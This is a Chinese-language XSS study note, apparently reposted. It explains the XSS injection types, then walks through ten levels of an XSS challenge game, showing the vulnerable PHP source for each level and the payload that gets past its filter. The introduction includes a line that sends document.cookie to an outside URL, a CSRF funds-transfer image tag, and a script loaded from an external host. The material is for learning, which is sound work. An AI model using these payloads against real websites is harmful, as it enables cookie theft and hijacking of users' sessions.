XSS学习笔记1

XSS学习笔记1目录 xss 简介 javascript 插入进去的方式 xss 类型 xss 闯关小游戏 leval1leval2

大家好,欢迎来到IT知识分享网。

目录

xss(简介)

javascript 插入进去的方式

xss类型

xss闯关小游戏

leval1

leval2

leval3

leval4

leval5

leval6

leval7

leval8

leval9

leval10


xss(简介)

javascript 插入进去的方式

1,输入框中直接输入恶意脚本

<script>alert(document.cookie)</script> 
  • 使用document对象的cookie属性,可以让你读取、添加和更新文档(当期HTML)所关联的cookie。
  • alert() 可以弹出提示框
<script>document.location.href = 'http://127.0.0.1:9090/xss?foo=' + document.cookie</script> 
  • document.location.href和document.location.replace
document.location.href和document.location.replace都可以实现从A页面切 换到B页面, 但他们的区别是: -用 document.location.href切换后,可以退回到原页面。 -而用document.location.replace切换后,不可以通过“后退”退回到原页面。 

2,html标签中嵌入恶意脚本,如src,href,css,style等

<img src="javascript:alert('XSS');" /> <img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" /> <body background="javascript:alert('XSS');"></body> <style> li{ list-style-image: url("javascript:alert('XSS');"); } </style> 
  • 关于list-style-image的详解
    在这里插入图片描述
    3,将恶意脚本注入在event事件中,如onClick,onBlur,onMouseOver等事件。

<a onmouseover="alert(document.cookie)"></a> 
  • οnclick=“function()” 表示点击后会执行 function
<a href="http://zhidao.baidu.com" οnclick="function()">百度知道</a> 
  • onblur 鼠标离开表单input触发的事件.onblur 事件会在对象失去焦点时发生,所谓焦点指的就是当前操作的对象
  • onmouseover 指鼠标移动都某个指点的HTML标签上,会出现什么效果。
    在这里插入图片描述
  • 在 style sheet,javascript中,如
<link rel="stylesheet" href="javascript:alert('XSS');" />//引入外部标签 <script src="http://ha.ckers.org/xss.js"></script> 
  • meta 标签
<meta http-equiv="refresh" content="5" /> <meta http-equiv="set-cookie" content="usetid=<script>alert('XSS')</script>" /> 
  • 自动刷新并指向新页面。

xss类型

(1)反射性:

非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

(2)存储型:

持久化,代码是存储在服务器中的,如在个人信息或发表文章以及留言板等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等

(3)DOM:

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

xss闯关小游戏

(只要触发alert函数就能跳转到下一关)

leval1

后台看php源码

<?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str."</h2>"; ?> 
  • ini_set 大概去了解了一下.没什么用
    在这里插入图片描述
    那我们看源码,可以发现没有对传入的name进行任何限制。所以我们可以直接构造任意可弹窗。
    在这里插入图片描述


leval2

分析源码,查看输入点

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

在这里插入图片描述
htmlspecialchars() 函数,它把预定义的字符转换为 HTML 实体。
预定义的字符是:

&:转换为&amp; ":转换为&quot; ':转换为成为 ' <:转换为&lt; >:转换为&gt; 

在这里插入图片描述
我们看到输入点1已经被html实体化了,那我们在输入点2输出

" onclick=alert(1)> 需要点击一下输入框。(点击事件-JS知识点) " onmouseover=alert(1)> 需要要鼠标滑过输入框(鼠标事件-JS知识点) "><script>alert(1)</script> 前面形成闭合 

leval3

看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

可以从这个看到value值也被实体化

'onclick=alert(1)// 导航栏输入这个语句,然后点击一下输入框 

leval4

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
"onclick=alert(1)// -点击一下输入框 " οnfοcus=alert(1) autofocus=" 
  • Onfocus事件:定义的事件将在对象获得焦点时触发,这里指input标签获得焦点。
  • Autofocus属性:input标签的属性,当页面加载input标签,自动获得焦点。

leval5

查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

还是在第二个语句闭合,这回on也过滤了,但是<>没有过滤

"><a href=javascript:alert(1);>test</a> 点击test <input name=keyword value=" "><iframe src=javascript:alert(1)>"> 

在这里插入图片描述

leval6

看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
"> <Script>alert(1)</script> "> <img Src=x OnError=alert(1)> "><a HrEf="javascript:alert(1)">level7</a> "><svg x=" " Onclick=alert(1)> "><ScriPt>alert(1)<sCrIpt>" " OncliCk=alert(1) 

leval7

看源码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
"> <sscriptcript>alert(1)</sscriptcript> 

在这里插入图片描述

leval8

看源码

<?php 
ini_set("display_errors", 0);
$str =strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

我们可以使用协议绕过javascript:alert,由于script关键字被过滤,javascript会被替换成javasc_rpt,我们使用&#x72来代替r ,HTML字符实体转换

javasc&#x72;ipt:alert(1) 

leval9

查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
javascrip&#x74;:alert(1)//http:// 

leval10

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
t_sort=" onclick="alert()" type="text 点击输入框 

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/103796.html

(0)

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信